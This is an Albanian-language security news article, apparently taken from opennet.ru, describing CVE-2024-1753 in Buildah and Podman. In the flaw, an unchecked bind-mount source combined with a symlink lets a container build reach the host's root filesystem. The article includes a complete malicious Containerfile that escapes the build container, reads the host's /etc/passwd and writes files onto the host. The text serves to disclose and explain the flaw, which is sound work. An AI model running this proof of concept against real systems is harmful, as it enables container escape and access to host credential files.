Në paketat Buildah dhe Podman është identifikuar një dobësi (CVE-2024-1753), e cila lejon qasje të plotë në sistemin e skedarëve të ambientit pritës gjatë fazës së ndërtimit të kontejnerit, i cili ekzekutohet me të drejtat root. Në sistemet me SELinux të aktivizuar, qasja në FSh-në pritëse kufizohet në mënyrë vetëm për lexim. Një rregullim është aktualisht i disponueshëm në formën e një patch-i, i cili u miratua disa minuta më parë në bazën e kodit të Buildah.
Dobësia shkaktohet nga fakti se gjatë ekzekutimit të montimit të pjesëve të FSh-së përmes komandës «mount —bind» gjatë ndërtimit në fazën RUN, argumenti me direktorinë burimore (parametri «source=») nuk kontrollohet për ekzistencë në FSh-në rrënjësore. Një skedar konfigurimi i përgatitur nga një sulmues mund të përdorë imazhin e kontejnerit, ku direktoria burimore për montim është paraqitur si një lidhje simbolike në FSh-në rrënjësore. Në këtë rast, operacioni i montimit do të çojë në montimin e FSh-së rrënjësore të ambientit pritës brenda kontejnerit, duke lejuar në fazën RUN qasje të plotë në sistemin e skedarëve të ambientit pritës dhe të organizohet dalja nga kontejneri gjatë ndërtimit me komandat «buildah build» ose «podman build».
Një shembull i një skedari të keq të Containerfile, ndërtimi i të cilit me komandën «podman build -f ~/Containerfile .» do të çonte në shfaqjen e përmbajtjes së /etc/passwd dhe krijimin e skedarëve /BIND_BREAKEOUT dhe /etc/BIND_BREAKOUT2 në ambientin pritës: FROM alpine as base RUN ln -s / /rootdir RUN ln -s /etc /etc2 FROM alpine RUN echo «ls container root» RUN ls -l / RUN echo «Me shkelje shfaq rrënjën e pritës, jo rrënjën e kontejnerit, dhe krijo /BIND_BREAKOUT në / në pritës» RUN —mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit RUN echo «Me shkelje shfaq /etc/passwd të pritës, jo atë të kontejnerit, dhe krijo /BIND_BREAKOUT2 në /etc në pritës» RUN —mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2
Burimi: opennet.ru
